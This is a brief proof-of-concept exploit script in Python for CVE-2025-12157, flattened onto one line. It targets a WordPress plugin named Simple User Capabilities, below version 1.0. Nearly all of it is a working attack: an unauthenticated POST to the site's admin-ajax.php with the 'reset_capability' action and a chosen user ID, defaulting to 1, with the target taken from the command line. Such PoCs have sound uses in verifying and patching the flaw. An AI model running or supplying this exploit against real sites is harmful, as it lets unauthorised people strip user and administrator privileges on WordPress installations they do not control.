CVE-2025-12157

import requests import sys # CVE-2025-12157 PoC # Simple User Capabilities Plugin < 1.0 - Unauthenticated Capability Reset target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' target_user_id = sys.argv[2] if len(sys.argv) > 2 else '1' # AJAX endpoint URL ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Payload for reset_capability action data = { 'action': 'reset_capability', 'user_id': target_user_id } print(f"[*] Sending request to {ajax_url}") print(f"[*] Targeting user ID: {target_user_id}") try: response = requests.post(ajax_url, data=data, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[*] Response status: {response.status_code}") print(f"[*] Response content: {response.text[:500]}") else: print(f"[!] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") # Note: This PoC demonstrates the vulnerability exists # Successful exploitation requires the target to have the vulnerable plugin installed

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